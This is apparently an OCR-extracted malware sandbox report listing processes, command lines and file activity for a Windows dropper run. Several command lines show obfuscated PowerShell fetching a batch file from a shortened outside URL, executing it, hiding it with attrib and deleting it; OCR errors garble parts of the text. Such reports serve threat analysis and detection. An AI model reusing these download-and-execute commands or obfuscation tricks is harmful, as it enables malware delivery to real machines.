C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

Analysis Process: cmd.exe PID: 2432 Parent PID: 1464
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General

Start time: 08:32:49

Start date: 06/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd /c powershe”" -w 1 stARt -sIE'Ep 7;cd '$e ' nV:T'EMP; ./pd.bat’
Imagebase: 0x4ac50000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6A8BAFA06F7C42C1BA41
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: powershell.exe PID: 2464 Parent PID: 2280

General

Start time: 08:32:49

Start date: 06/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false

Commandline: powershell -w 1 stARt’-sIE'Ep 12; Remove-ltem -Path pd.bat -Force
Imagebase: 0x13f930000

File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
File Deleted
Source

File Path Completion Count Address Symbol
C:\Users\user\Documents\pd.bat success or wait 1 7TFEEA54BEC7 DeleteFilewW

Source
Old File Path New File Path Completion Count Address Symbol

Source
File Path Offset Length Value Ascii Completion Count Address Symbol

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA3B5208 unknown
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEEA3B5208 unknown
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 TFEEA4DA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.psixml unknown 4096 success or wait 4 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.psixml unknown 781 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.psixml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.psixml unknown 4096 success or wait 42 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.psixml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 542 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEA54BEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEEA54BEC7 ReadFile

C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
Analysis Process: cmd.exe PID: 2476 Parent PID: 1464

General

Start time: 08:32:49

Start date: 06/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd /c powersheM? -w 1 (nEw-0B’jecT Net.WebcLIENt).('Down'+'loadFile’).Invoke(‘https://c

utt.ly/3js2g8s','pd.bat’)

Imagebase: 0x4ac50000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6ABAFAQ06F7C42C1BA41

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: powershell.exe PID: 2304 Parent PID: 2328

General

Start time: 08:32:50

Start date: 06/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false

Commandline: powershell -w 1 stARt'-sIE'Ep 1; attrib +s +h pd.bat
Imagebase: 0x13f930000

File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

File Activities
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Source

File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA4DA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1lxml unknown 4096 success or wait 42 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1lxml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
Analysis Process: powershell.exe PID: 2784 Parent PID: 2432
General
Start time: 08:32:50
Start date: 06/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false
Commandline: powershell -w 1 stARt'-sIE'Ep 7;cd '$e'nV:T" EMP; ./pd.bat'
Imagebase: 0x13f930000
File size: 473600 bytes
MDS5 hash: 852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges: true
Has administrator privileges: true
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Programmed in: .Net C# or VB.NET
Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol

Source
File Path Completion Count Address Symbol

Source
Old File Path New File Path Completion Count Address Symbol

Source
File Path Offset Length Value Ascii Completion Count Address Symbol

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA4DA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEEA4A69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembIy\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEEA4A69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dIl unknown 4096 success or wait 1 7FEEA4A69DF unknown
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.dIl unknown 512 success or wait 1 7FEEA4A69DF unknown

Analysis Process: powershell.exe PID: 2756 Parent PID: 2476

General
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Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

08:32:51
06/01/2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

false

powershell -w 1 (nEw-oB’jecT Net.WebcLIENt).('Down'+'loadFile’).Invoke(‘https://cutt.ly/3

js2g8s','pd.bat")
0x13f930000
473600 bytes

852D67A27E454BD389FA7F02A8CBE23F

true
true

Net C# or VB.NET

Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\Documents\pd.bat read attributes | device synchronous io  success or wait 1 7FEEA54BEC7 CreateFileW
synchronize | non alert | non
generic write directory file |
open no recall
Source
File Path Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA4DA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEA54BEC7 ReadFile
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File Path Offset Length Completion
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file

Registry Activities

Key Path Completion
Key Path Name Type Data Completion
Key Path Name Type Old Data New Data Completion

Source
Count Address Symbol

7TFEEA54BEC7 ReadFile
7TFEEA54BEC7 ReadFile

7TFEEA54BEC7 ReadFile

1
5
1 7TFEEA54BEC7 ReadFile
1
1 7TFEEA54BEC7 ReadFile
1

7TFEEA54BEC7 ReadFile

Source
Count Address Symbol

Source
Count Address Symbol

Source
Count Address Symbol

Analysis Process: attrib.exe PID: 3048 Parent PID: 2304

General

Start time: 08:32:53

Start date: 06/01/2021

Path: C:\Windows\System32\attrib.exe

Wow64 process (32bit): false

Commandline: ‘C:\Windows\system32\attrib.exe' +s +h pd.bat
Imagebase: 0xff560000

File size: 18432 bytes

MDS5 hash: C65C20C89A255517F11DD18B056CADBS
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Disassembly

Code Analysis
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